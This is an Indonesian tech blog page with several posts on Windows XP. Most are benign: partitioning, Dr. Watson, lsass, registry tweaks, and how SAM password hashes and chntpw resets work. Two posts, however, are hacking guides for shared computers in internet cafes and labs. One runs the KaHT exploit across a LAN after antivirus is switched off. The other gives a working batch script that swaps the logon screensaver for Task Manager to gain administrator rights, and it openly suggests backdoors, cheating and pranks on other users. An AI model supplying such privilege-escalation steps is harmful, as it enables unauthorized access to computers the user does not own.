Custom Search

Selasa, 13 Oktober 2009

Mendapatkan Akses Admin di Windows XP dengan kaht

Mendapatkan Akses Admin di Windows XP dengan kaht


Terkadang dalam suatu warnet atau Lab atau bahkan kost. yang menggunakan WIndows XP, biasanya pengguna diberikan akses guest atau limited account. Untuk ngeburn CD atau klo mo nginstall program kita ngga akan bisa, karena aksesnya bukan admin. Kadang-kadang ngeselin juga klo kayak gitu, jadi ngga bisa ngapa-ngapain, Burn CD ga bisa, jalanin program ga bisa, pokoknya terbatas banget :(...

gue mo ngasih tips gimana caranya dapetin akses admin yang memanfaatkan kelemahan di Windows XP. Mungkin yg master dah pada tau tips ini, tapi kan ngga semuanya master ;p... gue cuma mo bagi-bagi ilmu aja, siapa tau ada gunanya. Tapi penulis ngga bertanggung jawab klo ada yang menggunakan untuk hal-hal yang kurang bertanggung jawab, tutorial ini cuman untuk iseng-iseng aja, he...

Apa aja yang dibutuhin ?
1. Komputer??
2. Hoki, karena cuman WinXP yg blm di Update aja (ato yg masih Vulner yg bisa diakses)
3. Uang, buat jajan n kewarnet (atau klo mau, bisa ngehack bilingnya, bisa ga pake uang kan... tp bisa2 lo ketangkep)


Langkan pertama lo butuh program exloit KaHT yg dibuat oleh Kralor, KaHT tuh bisa 'NyeCan' beberapa Host, trus dicari mana yg 'Vulner', n jalanin exploit di Host yg Vulner itu. Klo Linknya ga bisa, coba Googling aja, banyak ko, atau klo msh g dpt juga email aja ke gue! klo dah dapet, trus jalanin cmd lewat Run (Start > Run > cmd). Sebelumnya jangan lupa untuk men-disable antivirus, karena kaht dikenali sebagai trojan. Misalkan program kaht ada di drive C, folder kaht, maka pertintahnya sbb:


C:\kaht>kaht 127.0.0.0 127.0.0.1

--> artinya scan Ip dari 127.0.0.0 sampai 127.0.0.1 (127.0.0.1 adalah IP untuk Loopback, artinya kaht melakukan scanning untuk komputer itu sendiri)

Bisa juga untuk Scanning jaringan tertentu misalnya

kaht 192.168.0.0 192.168.0.100

Klo berhasil, lo bakal dapet akses admin..

C:\Windows\system32>

coba check IP nya (ipconfig), apa ini komputer kita ???

TaRaa.... yup, 'Admin Under Control' hehe... dapet deh akses admin :D
Klo dah gini lo bisa ngapain aja lewat komputer itu. Mo, ngeBurn CD, mo liat-liat file yg di 'protect' admin (siapa tau aja ada file2 yg menarik), mo buat user dgn akses admin, atau buat Backdoor biar klo Login usernya punya akses admin.... Atau lo bisa ngisengin temen lo yang satu jaringan (LAN), bisa juga curangin waktu maen game di jaringan... hehe.. kan seru tuh!!

Baca lebih Lengkap.. print this page 

Senin, 12 Oktober 2009

STruktur keamanan password di win XP

STruktur keamanan password di win XP

Mungkin sudah banyak artikel lain yang membahas bagaimana mekanisme pengamanan password di Sistem operasi Windows 2000 atau XP. Artikel penulis ini akan memaparkan tentang penyimpanan, pengamanan dan recovery password di Windows 2000 atau XP.

Semua data tentang akun yang ada di Windows 2000/XP disimpan di registry, tepatnya di HKEY_LOCAL_MACHINE\SAM. SAM atau Security Account Manager adalah yang mengatur dan menyimpan semua keterangan akun yang ada di windows 2000/XP. Lalu dimanakah semua data tersebut secara fisik disimpan? (Karena Registry Editor hanya menampilkannya- saja), File SAM yang berada di %SystemRoot%\System32\Config adalah jawabannya. File ini tersedia untuk semua akun bahkan untuk non-Administrator. Tetapi File ini tidak dapat diakses atau dilihat begitu saja karena ada pengaruh dari registry itu sendiri. Untuk dapat mengaksesnya harus secara offline atau boot dari media lain.

Secara garis besar, windows 2000/XP tidak mengambil begitu saja password yang ada di file SAM. Karena password yang telah disimpan disitu berbentuk suatu checksum atau Hash. Checksum atau hash diciptakan oleh fungsi satu arah atau one-way function yang berarti fungsi tidak dapat dibalikkan karena rumitnya algoritma fungsi tersebut. Fungsi ini dibangkitkan oleh utiliti SYSKEY.

Hash dari password di file SAM disebut V-Block yang panjangnya 32 byte, 16 byte untuk NT Hash dan 16 byte sisanya untuk LM (LanMan) Hash. NT Hash digunakan untuk ototenkasi komputer lokal dan LM Hash digunakan untuk ototenkasi resource komputer lain.

* NT Hash
- Password dibentuk menjadi barisan *Unicode
- Hash dibangkitkan oleh algoritma *MD4
- Pembuatan variasi Hash di buat bedasarkan key, yaitu RID (user Identifier) untuk password akun yang sama. Algoritma yang digunakan adalah *DES.

* LM Hash
- Password diubah menjadi kapital dan ditambah byte null hingga mencapai panjang 14 byte.
- 14 byte password lalu dibagi menjadi 2, masing-masing 7 byte dan mengalami encode oleh DES dengan output 8 byte dan total 16 byte
- Pembuatan variasi Hash di buat bedasarkan key, yaitu RID (user Identifier) untuk password akun yang sama. Algoritma yang digunakan adalah *DES.

Seperti dikatakan diatas bahwa kita tidak dapat mengakses file SAM secara online, tetapi dapat mengambil data melalui 2 cara, yaitu :

PWDump, metode ini memungkinkan pengambilan secara “tidak langsung” karena program PWDump menghubungkan dirinya ke prosedur system di LSASS dan menggunakan ototenkasinya untuk mengambil Hash di registry atau di file SAM.
Scheduler, fitur scheduler mempunyai akses penuh terhadap sistem, bila kita mengatur agar scheduler untuk menyimpan registry ke sebuah file maka kita dapat membaca isi SAM di file tersbut.
Kedua Metode tersebut harus mutlak dijalankan sebagai Administrator. Bila tidak punya hak sebagai administrator, maka kita dapat menggunakan cara boot dari media lain seperti disket atau CD yang didalamnya sudah mempunyai fitur untuk mengcopy file SAM ke tempat lain atau membaca file SAM.

Berikut adalah contoh bagaimana hash dibangkitkan dari password akun :

Akun user AKUN_BARU mempunyai password dengan panjang 13 byte : password_baru
SYSKEY meng-encode password tersebut menjadi NT Hash dan LM Hash dengan key RID = 1001
misal : NT Hash : 707C1EE5C3AEA98E23F3C0801F0A0C61
LM Hash : Y54uR3OdTNheo
Bila akun user tersebut login, maka system akan membandingkan hash dari password yang diinput oleh user dengan kedua Hash tersebut. Bila sama maka ototenkasi sukses, bila tidak password dianggap salah.
Recovery password

Setelah mengetahui bagaimana password diubah menjadi Hash, maka kita dapat me-recovery password dari file SAM ataupun langsung dari registry. Ada 2 cara yg dapat digunakan, pertama melalui online dengan bantuan program seperti PWDump, LCP, Inside Pro, atau SAMInside. Kedua dengan cara offline dengan menggunakan disket boot seperti offline NT Password & Registry Editor, Passware Windows Key dan lain-lain.

Jika menggunakan cara online maka teknik yang biasanya digunakan adalah Dictionary Attack ataupun Brute Force. Hal ini dikarenakan Hash harus dicocokan dengan yang ada di file SAM. Teknik Brute Force akan memakan waktu yang lama apabila karakter dari password mengandung karakter khusus seperti @,!,#,$, dll dan panjang password lebih dari 14 karakter. Penulis menggunakan Offline NT Password & Registry Editor dari http://home.eunet.no/pnordahl/ntpasswd/. Tools ini memerlukan disket 1.44 MB yang sudah terformat.

How to use Offline NT Password & Registry Editor

Format disket anda
jalankan install.bat
Setelah itu disket anda akan terisi program-program yang akan diperlukan
Restart komputer anda dan boot dari dikset tsb
Tunggu sampai kernel linux load dan terdapat tulisan Step ONE
Step One

Pilih partisi windows anda, bila di partisi pertama maka pilih 1, partisi kedua pilih 2, dan seterusnya

Step Two

Pilih path config :
winnt35/system32/config - Windows NT 3.51
winnt/system32/config - Windows NT 4 and Windows 2000
windows/system32/config - Windows XP/2003, Windows 2000 upgraded dari Windows 98

Bila sudah benar path anda maka akan tampil :
what is the path to the registry directory? (relative to windows disk)
[windows/system32/config] :
-r——– 1 0 0 262144 Jan 12 18:01 SAM
-r——– 1 0 0 262144 Jan 12 18:01 SECURITY
-r——– 1 0 0 262144 Jan 12 18:01 default
-r——– 1 0 0 8912896 Jan 12 18:01 software
-r——– 1 0 0 2359296 Jan 12 18:01 system
dr-x—— 1 0 0 4096 Sep 8 11:37 systemprofile
-r——– 1 0 0 262144 Sep 8 11:53 userdiff

Select which part of registry to load, use predefined choices
or list the files with space as delimiter
1 - Password reset [sam system security]
2 - RecoveryConsole parameters [software]
q - quit - return to previous
[1] :

Pilih 1 disini
Step three

chntpw version 0.99.2 040105, (c) Petter N Hagen
[.. some file info here ..]

SAM policy limits:
Failed logins before lockout is: 0
Minimum password length : 0
Password history count : 0

<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives:
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)

What to do? [1] ->

Pilih 1 disini karena kita akan mengedit password user

===== chntpw Edit User Info & Passwords ====
RID: 01f4, Username:
RID: 01f5, Username: , *disabled or locked*
RID: 03e8, Username: , *disabled or locked*
RID: 03eb, Username: , *disabled or locked*
RID: 03ea, Username: , *disabled or locked*

Select: ! - quit, . - list users, 0x - User with RID (hex)
or simply enter the username to change: [Administrator]
Pilih user yang akan diedit passwordnya

RID : 0500 [01f4]
Username: Administrator
fullname:
comment : Built-in account for administering the computer/domain
homedir :

Account bits: 0x0210 =
[ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. |
[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |
[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |
[X] Pwd don’t expir | [ ] Auto lockout | [ ] (unknown 0x08) |
[ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |

Failed login count: 0, while max tries is: 0
Total login count: 3

* = blank the password (This may work better than setting a new password!)
Enter nothing to leave it unchanged
Please enter new password:
* Masukkan password baru anda, password blank (kosong) dianjurkan

Please enter new password: *
Blanking password!

Do you really wish to change it? (y/n) [n] y
Changed!

Select: ! - quit, . - list users, 0x - User with RID (hex)
or simply enter the username to change: [Administrator]
* Pilih ! untuk keluar bila tidak ada lagi user yang akan diubah passwordnya

<>========<> chntpw Main Interactive Menu <>========<>

Loaded hives:
1 - Edit user data and passwords
2 - Syskey status & change
3 - RecoveryConsole settings
- - -
9 - Registry editor, now with full write support!
q - Quit (you will be asked if there is something to save)

What to do? [1] ->
* Pilih q untuk keluar

Step Four

# Name
0 - OK

=========================================================
. Step FOUR: Writing back changes
=========================================================

About to write file(s) back! Do it? [n] :
* Pilih y untuk mengubah file SAM kembali

Writing sam

NOTE: A disk fixup will now be done.. it may take some time
Mounting volume… OK
Processing of $MFT and $MFTMirr completed successfully.
NTFS volume version is 3.1.
Setting required flags on partition… OK
Going to empty the journal ($LogFile)… OK
NTFS partition /dev/ide/host0/bus0/target0/lun0/part1 was processed successfully.
NOTE: Windows will run a diskcheck (chkdsk) on next boot.
NOTE: this is to ensure disk intergity after the changes

***** EDIT COMPLETE *****

You can try again if it somehow failed, or you selected wrong
New run? [n] :
* Pilih n untuk keluar dan restart komputer anda

Baca lebih Lengkap.. print this page 

Senin, 05 Oktober 2009

Partisi Hardisk

Partisi Harddisk


Partisi Harddisk adalah pembagian harddisk menjadi beberapa bagian secara logical. Atau seakan-akan harddisk diberi sekat-sekat.


Kegunaan Partisi Harddisk :
Menjaga Data agar tetap aman, dengan pemisahan data dengan system maka ketika system rusak data tidak terpengaruh
Menginstall Operating System lebih dari satu. agar bisa dual boot.
Mempercepat kerja harddisk.
Mengakali harddisk yang mengalami bad sector secara fisik (misal platter tergores oleh head harddisk). Untuk bad sector secara magnetis dapat diatasi dengan low level formatting. Diakali dengan cara membuat partisi di antara partisi yang bad sector dan mengosongkan (unpartioned) partisi yang bad sector.

Jenis-jenis partisi :
Primary Partitions
Adalah jenis partisi yang hanya bisa memiliki satu file system. Jumlah maksimal dari partisi ini max 4.
Extended Partitions
Adalah jenis partisi yang menjadi wadah dari drive logical, partisi ini dapat memiliki beberapa partisi di dalamnya yaitu partisi logical. Tapi untuk partisi jenis ini max 1. Pada partisi ini tidak bisa diisi file system. Partisi Extended akan mengambil jatah partisi primary.
Logical Partitions
Partisi yang menjadi bagian dari extended dimana apabila kita ingin membuat file system di dalam extended harus memiliki partisi logical minimal satu.
Catatan :
Beberapa hal yang harus diwaspadai dalam membuat partisi harddisk :
Gunakan Extended apabila anda ingin membuat partisi lebih dari 4. Untuk membuat partisi lebih dari 4 maka 3 partisi bisa berupa primary dan yang ke 4 adalah partisi extended. Baru partisi yang selanjutnya dibuat di dalam extended.
Taruh Extended di paling belakang. Menaruh primary partition di belakang extended akan menyebabkan salah pembacaan pada OS terutama pada Linux.
Akan lebih bijak kalau anda hanya membuat satu partisi primary dan sisanya diisi oleh extended. Sehingga akan lebih mudah dalam perombakan partisi di kemudian hari.
Pada OS Linux disarankan anda membuat partisi secara berurutan dalam hal cylindernya. Karena apabila tidak berurutan cylindernya misal anda mengubah partisi di tengah-tengah maka partisi akan salah penamaannya, dan bisa saja system anda bisa tidak bekerja dengan baik.
Pada linux partisi primer dan extended akan memiliki penamaan /dev/hda1 - 4 sedangkan untuk logical akan memiliki penamaan /dev/hda5 ke atas.

Master Boot Record (MBR)
Adalah sector pertama (sector zero) dari harddisk. Dimana pada MBR berisi boot loader (yaitu aplikasi yang bertugas untuk yang menentukan dimana letak suatu OS sehingga BIOS dapat melakukan boot ke OS). Selain itu juga pada MBR ini juga berisi partition table yaitu informasi yang berisi besar alokasi setiap partisi pada harddisk. Oleh sebab itu kalau MBR mengalami bad sector bisa dikatakan suatu harddisk tidak bisa digunakan lagi karena partisi tidak bisa dibentuk yang menyebabkan tidak bisa dibuatnya suatu file system.
Catatan :
Karena Windows selalu menaruh boot loadernya di dalam MBR maka partisi windows harus diletakkan pada bagian dari suatu harddisk atau primary partition pertama.
Pada Linux agar dapat melakukan dual boot, boot loader harus ditempatkan pada MBR.
Apabila anda menginstall OS di dua harddisk, perhatikan letak dari boot loader dari OS-OS tersebut bisa saja hanya di MBR harddisk pertama saja boot loader itu ditempatkan . Sehingga apabila anda menggunakan harddisk kedua anda harus menginstall boot loader anda lagi.

File System
Adalah metode dalam menyimpan dan mengorganisasi file dan data di dalamnya agar dapat mudah dicari dan diakses.

Jenis-jenis Disk File System :
FAT 16
adalah file system yang diperkenalakan pada era MSDOS. Dengan menggunakan cluster address 16 bit sehingga memungkinkan besar partisi hingga 2GB. Penamaan suatu file menggunakan metode 8.3 (8 nama file dan 3 extention).
FAT 32
adalah pengembangan dari FAT 16, diperkenalkan pada era windows 98. Dengan menggunakan cluster address 32 bit memungkinkan besar partisi hingga 124 GB tetapi bila anda memformat dari windows maka hanya terbatas hingga 32 GB. Besar maximal file adalah 4 GB (jadi kalau anda menyimpan image DVD belum tentu cukup).
NTFS
adalah file system yang digunakan pada windows berbasis NT (NT, 2000, XP, 2003, Vista). Pada file system ini besar partisi max 256 Terra Byte sedangkan besar datanya 16 Terra Byte. NTFS support terhadap metadata, yaitu database yang berisi informasi suatu file. Selain itu juga NTFS juga memiliki fasilitas seperti :
quota : Pembatasan besar data untuk setiap user
enkripsi : Fasilitas proteksi data dengan cara mengacak bit dalam suatu file sehingga tidak bisa terbaca oleh user yang tidak berhak
kompresi : Fasilitas pemampatan data sehingga space akan lebih lapang
Catatan :
Apabila anda menggunakan OS yang menggunakan partisi FAT maka file system NTFS tidak bisa di baca. Pada Linux file system bisa dibaca apabila fasilitas dari kernel diaktifkan, tetapi untuk menulis harus menggunakan program tambahan seperti ntfs-3g. Disarankan apabila menggunakan windows terbaru anda menggunakan NTFS sebgai file systemnya.
ext3
adalah file system yang digunakan pada sebagian besar OS Linux. Pada file system maka setiap file akan memiliki suatu database mini, yaitu disebut dengan inode. Dimana di dalamnya berisi berbagai informasi seperti jenis file, hak akses, pemilik file, group pemilik file, besar file dan waktu perubahan.
swap
adalah file system yang tidak digunakan sebagai tempat penyimpanan data, tetapi sebagai virtual memory, yaitu sebagai pembantu kinerja dari si memory. Virtual memory ini juga digunakan pada windows dengan nama page file, tetapi kalau swap ditaruh pada partisi yang berbeda dengan system dan diberi tempat tersendiri, pada page file dia berada pada partisi yang sama dengan system atau data.


Baca lebih Lengkap.. print this page 

Rabu, 30 September 2009

drwtsn32 windows

drwtsn32

mengintersepsi semua kesalahan (dan kegagalan) di dalam beberapa perangkat lunak dan memberikan informasi kepada pengguna, tentang perangkat lunak mana yang mengalami kegagalan dan apa sebabnya.

Dalam sistem operasi Windows terdahulu (sebelum Windows 98 dirilis), informasi mengenai kesalahan perangkat lunak sangatlah rumit untuk dipahami, dan Windows pun sering mengalami kerusakan akibat kesalahan perangkat lunak yang tidak dapat di-recovery. Saat Windows 98 dirilis, yang di dalamnya terdapat Dr. Watson, perangkat tersebut lebih mempermudah pengguna (khususnya para programmer dan software debugger) dalam melacak kerusakan perangkat lunak dan mencari bug di dalamnya. Sebuah perangkat lunak yang sering membuat "bangun" Dr. Watson, dapat dianggap sebagai perangkat lunak yang memiliki bug, dan kesalahan tersebut harus dikoreksi agar kestabilan sistem terjaga.

Nama Dr. Watson diambil dari nama tokoh sahabat dan asisten Sherlock Holmes dalam cerita karangan Arthur Conan Doyle, Dr. Watson

Dr Watson untuk Windows adalah program debugger kesalahan yang mengumpulkan informasi tentang komputer Anda ketika kesalahan (atau user-mode fault) terjadi dengan sebuah program. Technical support groups can use the information that Dr. Watson obtains and logs to diagnose a program error. Kelompok dukungan teknis dapat menggunakan informasi yang Dr Watson memperoleh dan log untuk mendiagnosis kesalahan program. When an error is detected, Dr. Watson creates a text file (Drwtsn32.log) that can be delivered to support personnel by the method they prefer. Ketika sebuah kesalahan terdeteksi, Dr Watson membuat file teks (Drwtsn32.log) yang dapat dikirimkan untuk mendukung personel dengan metode yang lebih mereka sukai. You also have the option of creating a crash dump file, which is a binary file that a programmer can load into a debugger. Anda juga memiliki pilihan untuk membuat file dump kecelakaan, yang merupakan file biner agar seorang pemrogram dapat memuat ke debugger.

Note Windows XP also provides an Error Reporting service that monitors your computer for both user-mode and kernel-mode faults ("stop" error messages or error messages that are displayed on a blue screen, as well as improper shutdown events) that affect both the operating system and any programs. Catatan Windows XP juga menyediakan layanan Pelaporan Kesalahan yang memonitor komputer anda baik untuk pengguna-mode dan kernel-mode kesalahan ( "berhenti" pesan error atau pesan kesalahan yang ditampilkan pada layar biru, serta shutdown tidak benar peristiwa) yang mempengaruhi kedua sistem operasi dan semua program. This service allows you to send error reports to Microsoft when an error occurs. Layanan ini memungkinkan Anda untuk mengirim laporan kesalahan ke Microsoft ketika sebuah kesalahan terjadi. Because all error reports are confidential and anonymous, Microsoft Support Professionals do not have access to any error report that you have sent to Microsoft over the Internet using the Error Reporting service. Karena semua laporan kesalahan bersifat rahasia dan anonim, Microsoft Dukungan Profesional tidak memiliki akses ke laporan kesalahan yang sudah dikirim ke Microsoft melalui Internet menggunakan layanan Pelaporan Kesalahan. As a result, you may need to send a Dr. Watson for Windows log file to a support professional. Sebagai hasilnya, Anda mungkin perlu mengirim Dr Watson untuk Windows file log untuk dukungan profesional. For additional information about Error Reporting Service in Windows XP, click the article number below to view the article in the Microsoft Knowledge Base: Untuk informasi tambahan tentang Layanan Pelaporan Kesalahan dalam Windows XP, klik nomor artikel di bawah ini untuk melihat artikel pada Basis Pengetahuan Microsoft:
310414 (http://support.microsoft.com/kb/310414/EN-US/ ) HOW TO: Configure and Use Error Reporting in Windows XP 310.414 (http://support.microsoft.com/kb/310414/EN-US/) CARA UNTUK: Konfigurasi dan Penggunaan Error Reporting di Windows XP
If a program error occurs, Dr. Watson for Windows starts automatically. Jika terjadi kesalahan program, Dr Watson untuk Windows dimulai secara otomatis. To configure Dr. Watson, follow these steps: Untuk mengkonfigurasi Dr Watson, ikuti langkah berikut:
Click Start , and then click Run . Klik Mulai, dan kemudian klik Jalankan.
Type drwtsn32 , and then click OK . Jenis drwtsn32, dan kemudian klik OK.
By default, the log file created by Dr. Watson is named Drwtsn32.log and is saved in the following location: Secara default, file log yang dibuat oleh Dr Watson adalah bernama Drwtsn32.log dan disimpan di lokasi berikut:
drive :\Documents and Settings\All Users.WINNT\Application Data\Microsoft\Dr Watson drive: \ Documents and Settings \ All Users.WINNT \ Application Data \ Microsoft \ Dr Watson
Note Drwatson.exe is an older program error debugger that was included with earlier versions of Windows NT. Catatan Drwatson.exe adalah kesalahan program yang lebih tua debugger yang disertakan dengan versi sebelumnya dari Windows NT. Microsoft recommends that you use Drwtsn32.exe instead of Drwatson.exe in Windows XP. Microsoft menyarankan Anda menggunakan Drwtsn32.exe bukan Drwatson.exe di Windows XP.

Baca lebih Lengkap.. print this page 

Jebol Password Admin dari Limited Account

Jebol Password Admin dari Limited Account
Melihat banyaknya permintaan cara ngejebol password admin, ini ada sebuah cara. Semakin kamu mengetahui sistem kerja Windows, semakin tahulah bahwa sistem ini mudah dijebol. Awalnya saya ragu untuk mempost artikel ini, tapi ya sudahlah, sekedar berbagi pengetahuan. Manfaatkanlah untuk hal-hal yang baik, misalkan bila kita lupa password kita sendiri, atau misal temen kita lupa akan pasword dan minta bantuan kita, barulah ilmunya digunakan... Silakan baca lebih lanjut artikel ini untuk mengetahui caranya....



Login as limited acount, guest etc.. then open notepad.exe found in start/all program files/accessories and type the following:

cd\
cd\windows\system32
mkdir temphack
copy taskmgr.exe temphack\taskmgr.exe
copy logon.scr temphack\logon.scr
del logon.scr
rename taskmgr.exe logon.scr
exit

and then save it as a .bat file, for example x.bat not .txt. Then double click on the files you just saved and it should execute some commands that should replace your screensaver with the task manager. Now logoff your limited acount and wait for 10 to 15 mins, without touching the mouse or keyboard and wait for the screensaver to come on, which shall be the task manager. When it appears click on New Task and in the box type in regedit. This should open up the registry editor. Now go to the hive HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon and double click on AutoAdminLogon and set the value to 1 and click ok. Now refresh the registry and close it, and then restart the pc. Once the pc is restarted you should automatically logon as Administrator.
Now you must put your screensaver back to normal by opening notepad.exe and by typing the following:

cd\Windows\system32
del logon.scr
cd\Windows\system32\temphack
copy logon.scr C:\Windows\system32
copy taskmgr.exe C:\Windows\system32
exit

Now save it as restore.bat and execute it.
itu masuknya dr logon,alias capture pass admin yg tersimpan di screen...

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog



Jebol Password dengan Tools : LCP
written by Arry Rahmawan at Thursday, March 13, 2008


Lagi demen-demennya berbagi tentang password admin di Windows XP. Sekali lagi saya ingatkan bahwa gunakanlah tools ini dengan bijak dan gunakan untuk tujuan yang baik...^^

LCP 5.04
Password auditing and recovery tool for Windows NT/2000/XP/2003.
Accounts information import: import from local computer, import from remote computer, import from SAM file, import from .LC file, import from .LCS file, import from PwDump file, import from Sniff file.
Passwords recovering by dictionary attack, brute force attack, hybrid of dictionary and brute force attacks.
Brute force session distribution: sessions distribution, sessions combining.
Hashes computing: LM and NT hashes computing by password, LM and NT response computing by password and server challenge.
Download:

Code:

http://www.fileedge.com/dynamic/download/19221.exe

Site: http://www.lcpsoft.com

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog


Membuat Shortcut Sendiri di Windows Explorer
written by Arry Rahmawan



Kalau kamu ingin membuat sebuah shortcut pribadi di Windows Explorer, bisa dilakukan dengan cara ini, yaitu buka regedit dan cari key:

HKEY_CLASSES_ROOT/Drive/Shell

Pilih Edit > New > Key dan beri nama Winamp sebagai contohnya.
Klik ganda option (Default) disisi kanan registry editor dan masukkan teks Winamp.
Klik subkey Winamp dan pilih menu Edit > New > Key dan beri nama Command.
Klik ganda option (Default) dan masukkan path C:\Program Files\Winamp\Winamp.exe pada Value Data. Selesai sudah. Restart komputer atau logout dari sistem untuk mendapatkan hasil yang diinginkan.

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog


Membuat Shortcut Tersembunyi (IE)
written by Arry Rahmawan


Pernah mencoba membuat shortcut tersembunyi di IE? Ada sebuah trik yang bisa dicoba.. Buka regedit, kemudian cari key berikut ini:

HKEY_LOCAL_MACHINES/Software/Microsoft/InternetExplorer/AboutURLs

Tambahkan sebuah string value sesuai dengan nama_shortcut yang dikehendaki.
Isi value dengan URL yang diinginkan.

Kemudian bagaimana cara menggunakan shortcut ini? Simpel koq, bisa dengan cara begini: di address bar IE, ketik: about:nama_shortcut. Cuma begitu aja kok..Mudah kan??^^

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog



Tweaking RAM untuk Mempercepat Sistem
written by Arry Rahmawan



Untuk tweaking memory, nggak cuman overclock di BIOS yg bisa mempercepat laju komputer, tapi tweaking ini nggak boleh dilewatkan. Tweaking ini disarankan bagi mereka yg memiliki kapasitas memory sebesar 512MB keatas. Jadi buat yang memorynya berada di bawah kapasitas segitu, trik ini ga bisa diaplikasikan dengan benar.

1. Okey, open registry editor run>regedit>
2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Akan ada 2 buah value yang akan kita edit di sini:

1. DisablePagingExecutive -dobel klik masukan desimal 1
Point ini mengaakibatkan windows XP menyimpan data di memory, ketimbang mengakses page file di harddisk.

2. LargeSystemCache -dobel klik masukan desimal 1
tweak ini mengijinkan kernel windows jalan di memory, Kalau dilakukan dengan benar, maka sistem akan terasa lebih cepat, atau setidaknya akan memberikan efek yang signifikan. Tapi tetep aja harus ati2 mengaplikasikan trik ini ya, kesalahan ga ditanggung loh....

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog



Membuat Maximum Download IE Menjadi 10
written by Arry Rahmawan



Ketik script di bawah ini di notepad, kemudian simpan dengan ekstensi .reg ya...

Windows Registry Editor Version 5.00

;MAKE INTERNET EXPLORER MAXIMUM DOWNLOADS 10 (DEFAULT WAS 2)

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPer1_0Server"=dword:0000000a
"MaxConnectionsPerServer"=dword:0000000a

Semoga bermanfaat
Copyleft © 2008 OprekWindows® Blog




Shutdown Komputer dengan klik kanan
written by Andry Wahyudin at Saturday, January 26, 2008

Sebelumnya saya mau ucapin terima kasih dulu nih buat mas Arry yang udah bolehin saya bergabung di oprekWindows.

Trik yang mau saya kasih pertama adalah bagaimana menambah menu shutdown dalam context menu. Tentunya Anda harus mengubah susunan registry-nya. Namun, Anda tidak perlu repot-repot merubah registry-nya satu persatu, karena Anda tinggal menyalin susunan registry seperti dibawah ini ke dalam notepad

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\mati]
@="> Shutdown Windows!"

[HKEY_CLASSES_ROOT\Directory\shell\mati\command]
@="shutdown.exe -s -t 0"

[HKEY_CLASSES_ROOT\Drive\shell\mati]
@="> Shutdown Windows!"

[HKEY_CLASSES_ROOT\Drive\shell\mati\command]
@="shutdown.exe -s -t 0"

Jika sudah selesai menyalinnya, simpan dengan nama "shutdown.reg". kini klik ganda file tersebut dan jawab semua pertanyaan yang muncul dengan mengklik "Yes". Terakhir restart PCuntuk melihat hasilnya

Baca lebih Lengkap.. print this page 

Selasa, 29 September 2009

Mengenal lsass Pada Windows

Dalam Tulisan ini saya akan menjelaskan mengenai LSAS yang dijalankan pada saat windows akan starup berikut sedikit penjelasan tentang LSAS yang didapat dari Microsoft

lsass.exe. ? Apa itu?

Proses lsass.exe adalah Keamanan Lokal Otentikasi Server. Ini adalah file aman dari Microsoft. Lsass.exe bertanggung jawab atas pelaksanaan kebijakan keamanan dalam sistem operasi, memverifikasi user log on ke komputer Windows atau server, menangani perubahan password, dan menciptakan akses token. Ini juga menulis ke Windows Security Log.

Setiap kali ada user yang mencoba mengakses komputer, LSASS memeriksa apakah identifikasi pengguna sah atau tidak. T. Sistem ini menggunakan lsass.exe untuk mencegah pengguna yang tidak diinginkan dari mengakses informasi pribadi apapun. File LSASS juga menangani modifikasi kata sandi pengguna. If authentication is successful, Jika otentikasi berhasil, LSASS menghasilkan token akses pengguna, yang digunakan untuk membuka shell awal. Token ini termasuk file deskriptor keamanan, yang berisi informasi yang diperlukan untuk proses otentikasi pengguna.

penghentian Paksa lsass.exe akan mengakibatkan layar Selamat Datang kehilangan account dan Anda akan diminta untuk me-restart komputer Anda.

Hal ini dapat terjadi jika kelompok Pengguna dikonfirmasi tidak memiliki izin Baca dan Kebijakan Terapkan izin untuk mengakses setidaknya satu GPO yang diterapkan untuk domain komputer. Untuk memperbaiki masalah ini, Anda akan perlu untuk mengabulkan kelompok Pengguna dikonfirmasi Read izin dan Kebijakan Terapkan izin untuk domain default kebijakan.

Dalam kebanyakan kasus, sistem lsass.exe kesalahan dan kesalahan aplikasi lsass.exe membuat komputer tidak dapat digunakan, karena token otentikasi pengguna tidak dapat diperoleh dari server.

Dalam beberapa kasus, kesalahan bisa disebabkan oleh trojan, bahwa dirinya sebagai camouflages proses LSASS. I Jika sistem ini tidak terinfeksi, kesalahan disebabkan oleh hilang atau rusak file konfigurasi dan entri registry. . Anda dapat memperbaiki Registry menggunakan ensiklopedia free Auslogics Registry Cleaner.

Malware sering berpura-pura lsass.exe. Sebagai contoh, (Sasser worm) cacing Sasser menemukan kerentanan di LSASS dan menyebar melalui remote buffer overflow pada Windows XP dan Windows 2000 komputer. (WOrm) Cacing ini dapat menyebar tanpa interaksi dengan manusia, juga tidak 'perjalanan melalui email' seperti cacing lain.

Jika komputer Anda memasuki sebuah reboot loop karena suatu kesalahan lsass.exe, lsass.exe Anda mendapatkan error ketika mencoba untuk mengubah password Anda, atau kesalahan yang disebabkan oleh infeksi, lakukan hal berikut:

1. Setelah boot ke Windows dengan cepat dan kemudian klik Start Run

2. Ketik shutdown-a dan tekan Enter.

Hal ini akan mencegah komputer anda dari restart terus-menerus.

Sekarang coba scanning PC anda dengan up-to-date program anti-virus di Safe Mode (tekan F8 berulang-ulang ketika startup). Juga pastikan bahwa Anda memiliki semua pembaruan Windows diinstal. Jika ini tidak membantu, Anda mungkin perlu melakukan perbaikan atau Windows Windows menginstal yang bersih.

Memperbaiki "tidak dapat menemukan lsass.exe komponen" Error.
